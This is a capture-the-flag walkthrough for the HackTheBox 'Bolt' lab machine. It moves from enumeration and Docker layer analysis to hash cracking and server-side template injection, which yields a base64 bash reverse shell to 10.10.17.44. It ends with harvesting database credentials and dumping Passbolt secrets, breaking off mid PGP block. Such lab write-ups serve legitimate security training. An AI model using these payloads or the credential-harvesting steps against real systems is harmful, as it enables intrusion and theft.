Bolt
23 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.114
- Release: 25 / 09 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.114 -p 22,80,443
Nmap scan report for 10.10.11.114
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Starter Website - About
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 16.23 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Moreover, we see that the server is possibly using virtual hosts (listed in the SSL certificate), so we can put domains bolt.htb
and passbolt.bolt.htb
into /etc/hosts
.
Enumeration
If we go to http://bolt.htb
we will see the following website:
Here we have also a login page:
But we do not have any potential credentials. Although there is a register page, when submitting the form, the server returns 500 Internal Server Error
, so the functionality might be disabled.
From the response, we can guess that the server is running Flask:
$ curl bolt.htb/register -vd 'username=asdf&email=asdf%40bolt.htb&password=asdf'
* Trying 10.10.11.114:80...
* Connected to bolt.htb (10.10.11.114) port 80 (#0)
> POST /register HTTP/1.1
> Host: bolt.htb
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 49
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 INTERNAL SERVER ERROR
< Server: nginx/1.18.0 (Ubuntu)
< Date:
< Content-Type: text/html; charset=utf-8
< Content-Length: 290
< Connection: keep-alive
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
* Connection #0 to host bolt.htb left intact
This is because Flask puts the HTTP response status in capital letters (i.e. HTTP/1.1 500 INTERNAL SERVER ERROR
).
The second subdomain we have is passbolt.bolt.htb
, but we cannot do anything here:
Inspecting the Docker image
There is a Docker image we can download from bolt.htb
in a TAR file (image.tar
):
We can import the image to Docker the following way:
$ docker image load -i image.tar
3fc64803ca2d: Loading layer [==================================================>] 4.463MB/4.463MB
73f2f98bc222: Loading layer [==================================================>] 7.68kB/7.68kB
8f2df5d06a26: Loading layer [==================================================>] 62.86MB/62.86MB
a1e4f9dc4110: Loading layer [==================================================>] 57.57MB/57.57MB
f0c4120bc314: Loading layer [==================================================>] 29.79MB/29.79MB
14ec2ed1c30d: Loading layer [==================================================>] 6.984MB/6.984MB
68c03965721f: Loading layer [==================================================>] 3.072kB/3.072kB
fec67b58fd48: Loading layer [==================================================>] 19.97kB/19.97kB
7fa1531c7420: Loading layer [==================================================>] 7.168kB/7.168kB
e45bbea785e3: Loading layer [==================================================>] 15.36kB/15.36kB
ac16908b339d: Loading layer [==================================================>] 8.192kB/8.192kB
Loaded image: flask-dashboard-adminlte_appseed-app:latest
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
flask-dashboard-adminlte_appseed-app latest 859e74798e6c 6 months ago 154MB
Now we can run the image inside a container:
$ docker run --rm -p 5005:5005 -it flask-dashboard-adminlte_appseed-app
[2021-10-13 08:44:27 +0000] [1] [DEBUG] Current configuration:
config: gunicorn-cfg.py
bind: ['0.0.0.0:5005']
...
[2021-10-13 08:44:27 +0000] [1] [INFO] Starting gunicorn 20.0.4
[2021-10-13 08:44:27 +0000] [1] [DEBUG] Arbiter booted
[2021-10-13 08:44:27 +0000] [1] [INFO] Listening at: http://0.0.0.0:5005 (1)
[2021-10-13 08:44:27 +0000] [1] [INFO] Using worker: sync
[2021-10-13 08:44:27 +0000] [15] [INFO] Booting worker with pid: 15
[2021-10-13 08:44:27 +0000] [1] [DEBUG] 1 workers
[2021-10-13 08:44:29,656] INFO in run: DEBUG = True
[2021-10-13 08:44:29,656] INFO in run: Environment = Debug
[2021-10-13 08:44:29,657] INFO in run: DBMS = sqlite:////db.sqlite3
We can see that the image is running a Flask server on port 5005 inside the container (after running it the first time, then we add parameter -p 5005:5005
to the docker run
command).
It is hosting a website that redirects to a login form:
This time, we are able to register a new account and enter to AdminLTE 3:
There is nothing interesting in this dashboard. Now that the Docker container is running, we can execute sh
, to see if there are interesting files:
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ffd733413c3e flask-dashboard-adminlte_appseed-app "gunicorn --config gβ¦" 2 minutes ago Up 2 minutes 0.0.0.0:5005->5005/tcp friendly_mcnulty
$ docker exec -it ffd733413c3e sh
/ # ls -la
total 108
drwxr-xr-x 1 root root 4096 Oct 13 08:44 .
drwxr-xr-x 1 root root 4096 Oct 13 08:44 ..
-rwxr-xr-x 1 root root 0 Oct 13 08:44 .dockerenv
-rw-r--r-- 1 root root 142 Mar 5 2021 .env
drwxr-xr-x 2 root root 4096 Mar 5 2021 __pycache__
drwxr-xr-x 1 root root 4096 Mar 5 2021 app
drwxr-xr-x 2 root root 4096 Mar 6 2019 bin
-rw-r--r-- 1 root root 1448 Mar 5 2021 config.py
-rw-r--r-- 1 root root 16384 Oct 13 08:55 db.sqlite3
drwxr-xr-x 5 root root 360 Oct 13 08:44 dev
drwxr-xr-x 1 root root 4096 Oct 13 08:44 etc
-rw-r--r-- 1 root root 198 Mar 5 2021 gunicorn-cfg.py
drwxr-xr-x 2 root root 4096 Mar 6 2019 home
drwxr-xr-x 1 root root 4096 Mar 6 2019 lib
drwxr-xr-x 5 root root 4096 Mar 6 2019 media
drwxr-xr-x 2 root root 4096 Mar 6 2019 mnt
dr-xr-xr-x 187 root root 0 Oct 13 08:44 proc
-rw-r--r-- 1 root root 116 Mar 5 2021 requirements.txt
drwx------ 1 root root 4096 Mar 5 2021 root
drwxr-xr-x 2 root root 4096 Mar 6 2019 run
-rw-r--r-- 1 root root 955 Mar 5 2021 run.py
drwxr-xr-x 2 root root 4096 Mar 6 2019 sbin
drwxr-xr-x 2 root root 4096 Mar 6 2019 srv
dr-xr-xr-x 13 root root 0 Oct 13 08:44 sys
drwxrwxrwt 1 root root 4096 Oct 13 08:44 tmp
drwxr-xr-x 1 root root 4096 Mar 5 2021 usr
drwxr-xr-x 1 root root 4096 Mar 6 2019 var
/ # ls -la app
total 24
drwxr-xr-x 1 root root 4096 Mar 5 2021 .
drwxr-xr-x 1 root root 4096 Oct 13 08:55 ..
-rw-r--r-- 1 root root 1058 Mar 5 2021 __init__.py
drwxr-xr-x 1 root root 4096 Mar 5 2021 __pycache__
drwxr-xr-x 1 root root 4096 Mar 5 2021 base
drwxr-xr-x 1 root root 4096 Mar 5 2021 home
We can find a SQLite3 database and the source code of a Flask application. We can transfer the files to our machine and analyze them. For that, we could compress all the files we want inside a ZIP archive, and then use nc
:
/ # apk update
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/main/x86_64/APKINDEX.tar.gz
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/community/x86_64/APKINDEX.tar.gz
v3.7.3-184-gffd32bfd09 [http://dl-cdn.alpinelinux.org/alpine/v3.7/main]
v3.7.3-194-gcddd1b2302 [http://dl-cdn.alpinelinux.org/alpine/v3.7/community]
OK: 9054 distinct packages available
/ # apk add zip
(1/1) Installing zip (3.0-r4)
Executing busybox-1.27.2-r11.trigger
OK: 72 MiB in 27 packages
/ # zip -r src.zip .env db.sqlite3 *.py requirements.txt app
/ # nc 192.168.1.37 4444 < src.zip
From our machine, we get the ZIP archive and decompress it:
$ nc -nlvp 4444 > src.zip
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.37.
Ncat: Connection from 192.168.1.37:52425.
$ unzip src.zip
Now we are able to see the contents of the SQLite3 database, but it is only containing the user we have just created:
$ sqlite3 db.sqlite3
SQLite version 3.32.3
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|asdf|asdf@bolt.htb|$1$wJuqE5Tc$rZXG8CmAsT8YAIfHAJdkr.||
sqlite> .quit
Reading the other files, we can see that .env
contains a secret key:
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass
As well as config.py
, which contains a secret key and an e-mail address (support@bolt.htb
):
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""
import os
from decouple import config
class Config(object):
basedir = os.path.abspath(os.path.dirname(__file__))
# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
# This will create a file in <app> FOLDER
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
SQLALCHEMY_TRACK_MODIFICATIONS = False
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
class ProductionConfig(Config):
DEBUG = False
# Security
SESSION_COOKIE_HTTPONLY = True
REMEMBER_COOKIE_HTTPONLY = True
REMEMBER_COOKIE_DURATION = 3600
# PostgreSQL database
SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
config( 'DB_ENGINE' , default='postgresql' ),
config( 'DB_USERNAME' , default='appseed' ),
config( 'DB_PASS' , default='pass' ),
config( 'DB_HOST' , default='localhost' ),
config( 'DB_PORT' , default=5432 ),
config( 'DB_NAME' , default='appseed-flask' )
)
class DebugConfig(Config):
DEBUG = True
# Load all possible configurations
config_dict = {
'Production': ProductionConfig,
'Debug' : DebugConfig
}
We can try the secrets found as passwords in bolt.htb
and passbolt.bolt.htb
, but none of them work.
At this point, we have not got anything yet. We need to analyze the Docker image deeper.
If we decompress the TAR file, we have the following:
$ 7z x image.tar
$ tree
.
βββ 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
βββ 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
βΒ Β βββ VERSION
βΒ Β βββ json
βΒ Β βββ layer.tar
βββ image.tar
βββ manifest.json
βββ repositories
11 directories, 37 files
We can see the history of a Docker image with the following command:
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
flask-dashboard-adminlte_appseed-app latest 859e74798e6c 6 months ago 154MB
$ docker history 859e74798e6c
IMAGE CREATED CREATED BY SIZE COMMENT
859e74798e6c 7 months ago gunicorn --config gunicorn-cfg.py run:app 3.93kB
<missing> 7 months ago sh 8.49kB
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 6B
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 16.4kB
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 6B
<missing> 7 months ago gunicorn --config gunicorn-cfg.py run:app 6.95MB
<missing> 7 months ago /bin/sh -c #(nop) CMD ["gunicorn" "--config⦠0B
<missing> 7 months ago /bin/sh -c #(nop) EXPOSE 5005 0B
<missing> 7 months ago /bin/sh -c pip3 install -r requirements.txt 28.3MB
<missing> 7 months ago /bin/sh -c apk --update add python3 py3-pip 53MB
<missing> 7 months ago /bin/sh -c #(nop) COPY dir:f385c9405a9b189a6β¦ 61.2MB
<missing> 7 months ago /bin/sh -c #(nop) COPY multi:e0a96f9a5ad90dc⦠2.86kB
<missing> 7 months ago /bin/sh -c #(nop) ENV FLASK_APP=run.py 0B
<missing> 2 years ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 2 years ago /bin/sh -c #(nop) ADD file:aa17928040e31624c⦠4.21MB
All of the directories shown with tree
contain layers of the Docker image, which have the differential changes in files when running each line of the Dockerfile
(more information here).
We should list the contents of every layer.tar
file and see if there is something interesting. First, let’s see if there is a file db.sqlite3
inside any layer.tar
:
$ for dir in `find . | grep layer`; do (7z l $dir | grep -q db\.sqlite3) && echo $dir; done
./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
$ 7z l 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:37:51 D.... 0 0 app
2021-03-05 19:45:48 D.... 0 0 app/base
2021-03-05 19:45:45 ..... 0 0 app/base/.wh.forms.py
2021-03-05 19:45:48 ..... 0 0 app/base/.wh.routes.py
2021-03-05 15:11:29 D.... 0 0 app/base/templates
2021-03-05 19:45:55 D.... 0 0 app/base/templates/accounts
2021-03-05 19:45:55 ..... 0 0 app/base/templates/accounts/.wh.register.html
2021-03-05 19:45:09 ..... 0 0 .wh.db.sqlite3
2021-03-05 19:39:12 D.... 0 0 root
2021-03-05 19:46:46 ..... 6 512 root/.ash_history
2021-03-05 19:44:48 D.... 0 0 tmp
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:46:46 6 512 5 files, 6 folders
$ 7z l a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:44:04 ..... 16384 16384 db.sqlite3
2021-03-05 19:39:12 D.... 0 0 root
2021-03-05 19:44:29 ..... 6 512 root/.ash_history
2021-03-05 19:41:00 D.... 0 0 tmp
------------------- ----- ------------ ------------ ------------------------
2021-03-05 19:44:29 16390 16896 2 files, 2 folders
If we decompress this last layer.tar
and see the contents of the SQLite3 database, we will see a hashed password for the user admin
:
$ cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
$ 7z x layer.tar
$ sqlite3 db.sqlite3
SQLite version 3.32.3
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
sqlite> .quit
Foothold
We can crack this hash using john
:
$ echo '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.' > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt (?)
1g 0:00:00:11 DONE 0.08928g/s 15422p/s 15422c/s 15422C/s deadbolt..deadbeat
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Accessing bolt.htb
as admin
And now we have a potential username and password (admin:deadbolt
). If we try to login in bolt.htb
we will enter as admin
:
This website looks the same as the one hosted in the Docker image. This time, there is sensitive information in a “Direct Chat” conversation:
From this chat, we obtain some names (Alexander Pierce, Sarah Bullock and Eddie). Sarah says that their demo is invite only. There is something about e-mail and everything seems to be related to the Docker image.
As they are talking about demo and e-mail, maybe there are more subdomains. We can use gobuster
to fuzz for valid subdomains:
$ gobuster vhost -w $WORDLISTS/dirb/small.txt -u bolt.htb -q
Found: demo.bolt.htb (Status: 302) [Size: 219]
Found: mail.bolt.htb (Status: 200) [Size: 4943]
We have two new subdomains to explore and add to /etc/hosts
.
The following one is mail.bolt.htb
, which prompts a login page. We can try to login with support@bolt.htb
or admin@bolt.htb
using some of the passwords and secret keys found, but with no success:
And the other new subdomain is demo.bolt.htb
, which is really similar to bolt.htb
, at least the login and register forms. However, this time we need an invite code to register (as Sarah Bullock was saying). Recall that registration was not working in bolt.htb
:
Diving deeply into the Docker image
This demo website might be similar to the one inside the Docker image. After analyzing the source code transfered from the Docker container in a ZIP file, we cannot find nothing useful.
At this point, we should imagine that there might be something inside the layers of the image, that then was removed for security reasons. To enumerate, we can list the layers that contain Python code and then decompress those layers:
$ for dir in `find . | grep layer`; do (7z l $dir | grep -q \.py) && echo $dir; done
./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar
./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar
./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar
./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar
$ for dir in `find . | grep layer | awk -F / '{ print $2 }'`; do (7z l $dir/layer.tar | grep -q \.py) && 7z x -o"$dir" $dir/layer.tar; done
Now we have extracted every layer containing Python code, we can search for “invite”:
$ grep -nri invite . | grep -v Binary
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/forms.py:20: invite_code = TextField('Invite Code', id='invite_code' , validators=[DataRequired()])
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/templates/accounts/register.html:72: {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py:63: code = request.form['invite_code']
Inside 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py
we will find a hard-coded invite code (XNSS-HSJW-3NGU-8XTJ
), inside the register()
function:
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email']
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template('accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form)
# Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template('accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form)
# else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit()
return render_template('accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form)
else:
return render_template('accounts/register.html', form=create_account_form)
Finding SSTI
Now we can try and register into demo.bolt.htb
using this invite code. And it works, we are inside another AdminLTE 3:
Furthermore, we have another account in mail.bolt.htb
, which is automatically created. We can enter using the same credentials:
However, we are not able to send e-mails because there is an error on the SMTP service.
We have reached another point where there seems to be nothing more to do.
We can see on AdminLTE 3 that we can change our name, experience and skills clicking on “Settings”. As we know the web application is using Flask, we could try to perform a Server-Side Template Injection (SSTI):
After submitting the changes, we receive a confirmation e-mail at mail.bolt.htb
:
If we click on the provided link, we receive another e-mail showing us the changes made. This e-mail feature is vulnerable to SSTI, because we are seeing 49
instead of {{7*7}}
, as we entered:
SSTI leads to Remote Code Execution (RCE), so we can get a reverse shell to the machine with some payload found in PayloadsAllTheThings.
We can do the following steps:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
The payload to put in the name field of AdminLTE 3 is:
{{cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read()}}
And then, confirming the changes on the e-mail, we get a connection to the nc
listener as www-data
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.114.
Ncat: Connection from 10.10.11.114:42396.
bash: cannot set terminal process group (1009): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@bolt:~/demo$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@bolt:~/demo$ export TERM=xterm
www-data@bolt:~/demo$ export SHELL=bash
www-data@bolt:~/demo$ stty rows 50 columns 158
System enumeration
There are two users: clark
and eddie
, and we are not allowed to list their home directories.
www-data@bolt:~/demo$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Mar 3 2021 .
drwxr-xr-x 20 root root 4096 Aug 4 13:07 ..
drwxr-x--- 15 clark clark 4096 Feb 25 2021 clark
drwxr-x--- 16 eddie eddie 4096 Oct 13 07:01 eddie
www-data@bolt:~/demo$ ls -la /home/clark
ls: cannot open directory '/home/clark': Permission denied
www-data@bolt:~/demo$ ls -la /home/eddie
ls: cannot open directory '/home/eddie': Permission denied
We can obtain MySQL database credentials inside the file config.py
:
www-data@bolt:~/demo$ ls -la
total 36
drwxr-xr-x 5 www-data www-data 4096 Aug 4 13:06 .
drwxr-xr-x 6 root root 4096 Aug 4 13:06 ..
-rw-r--r-- 1 www-data www-data 6399 Mar 6 2021 app.py
-rw-r--r-- 1 www-data www-data 420 Mar 4 2021 config.py
drwxr-xr-x 2 www-data www-data 4096 Mar 6 2021 __pycache__
drwxr-xr-x 3 www-data www-data 4096 Mar 4 2021 static
drwxrwxr-x 6 www-data www-data 4096 Mar 5 2021 templates
-rw-r--r-- 1 www-data www-data 62 Mar 4 2021 wsgi.py
www-data@bolt:~/demo$ cat config.py
"""Flask Configuration"""
#SQLALCHEMY_DATABASE_URI = 'sqlite:///database.db'
SQLALCHEMY_DATABASE_URI = 'mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'kreepandcybergeek'
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
#MAIL_DEBUG = app.debug
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
Now we can access database boltmail
with bolt_dba:dXUUHSW9vBpH5qRB
credentials:
www-data@bolt:~/demo$ mysql --user=bolt_dba --password=dXUUHSW9vBpH5qRB --database=boltmail
mysql> show tables;
+--------------------+
| Tables_in_boltmail |
+--------------------+
| user |
+--------------------+
1 row in set (0.00 sec)
mysql> describe user;
+-----------------+---------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment |
| username | varchar(255) | YES | | NULL | |
| password | varchar(255) | YES | | NULL | |
| email | varchar(255) | YES | | NULL | |
| host_header | varchar(255) | YES | | NULL | |
| ip_address | varchar(255) | YES | | NULL | |
| email_confirmed | tinyint(1) | YES | | NULL | |
| profile_confirm | tinyint(1) | YES | | NULL | |
| profile_update | varchar(4096) | YES | | NULL | |
+-----------------+---------------+------+-----+---------+----------------+
9 rows in set (0.00 sec)
mysql> select username, password from user;
+-------------+------------------------------------+
| username | password |
+-------------+------------------------------------+
| admin | $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q. |
| asdf | $1$KsE5LxFN$Xo2Xo.DRX82fo8D2.fSo/1 |
+-------------+------------------------------------+
2 rows in set (0.00 sec)
mysql> exit
Despite having found a hashed password for user admin
, this one was found and cracked before.
Thinking on the passbolt.bolt.htb
subdomain, we could explore some configuration files for that service. We can find a PHP file containing MySQL credentials to passboltdb
database (passbolt:rT2;jW7<eY8!dX8}pQ8%
):
www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
<?php
/**
* ...
*/
return [
'App' => [
// A base URL to use for absolute links.
// The url where the passbolt instance will be reachable to your end users.
// This information is need to render images in emails for example
'fullBaseUrl' => 'https://passbolt.bolt.htb',
],
// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
// Email configuration.
'EmailTransport' => [
'default' => [
'host' => 'localhost',
'port' => 587,
'username' => null,
'password' => null,
// Is this a secure connection? true if yes, null if no.
'tls' => true,
//'timeout' => 30,
//'client' => null,
//'url' => null,
],
],
'Email' => [
'default' => [
// Defines the default name and email of the sender of the emails.
'from' => ['localhost@bolt.htb' => 'localhost'],
//'charset' => 'utf-8',
//'headerCharset' => 'utf-8',
],
],
'passbolt' => [
// GPG Configuration.
// The keyring must to be owned and accessible by the webserver user.
// Example: www-data user on Debian
'gpg' => [
// Main server key.
'serverKey' => [
// Server private key fingerprint.
'fingerprint' => '59860A269E803FA094416753AB8E2EFB56A16C84',
'public' => CONFIG . DS . 'gpg' . DS . 'serverkey.asc',
'private' => CONFIG . DS . 'gpg' . DS . 'serverkey_private.asc',
],
],
'registration' => [
'public' => false,
],
'ssl' => [
'force' => true,
]
],
];
Now we can connect to that database with the credentials found:
www-data@bolt:~/demo$ mysql --user=passbolt --password='rT2;jW7<eY8!dX8}pQ8%' --database=passboltdb
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb |
+-----------------------+
| account_settings |
| action_logs |
| actions |
| authentication_tokens |
| avatars |
| comments |
| email_queue |
| entities_history |
| favorites |
| gpgkeys |
| groups |
| groups_users |
| organization_settings |
| permissions |
| permissions_history |
| phinxlog |
| profiles |
| resource_types |
| resources |
| roles |
| secret_accesses |
| secrets |
| secrets_history |
| user_agents |
| users |
+-----------------------+
25 rows in set (0.01 sec)
mysql> describe secrets;
+-------------+------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------------+------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| user_id | char(36) | NO | MUL | NULL | |
| resource_id | char(36) | NO | MUL | NULL | |
| data | mediumtext | NO | | NULL | |
| created | datetime | NO | | NULL | |
| modified | datetime | NO | | NULL | |
+-------------+------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
mysql> select * from secrets\G
*************************** 1. row ***************************
id: 643a8b12-c42c-4507-8646-2f8712af88f8
user_id: 4e184ee6-e436-47fb-91c9-dccb57f250bc
resource_id: cd0270db-c83f-4f44-b7ac-76609b397746
data: -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
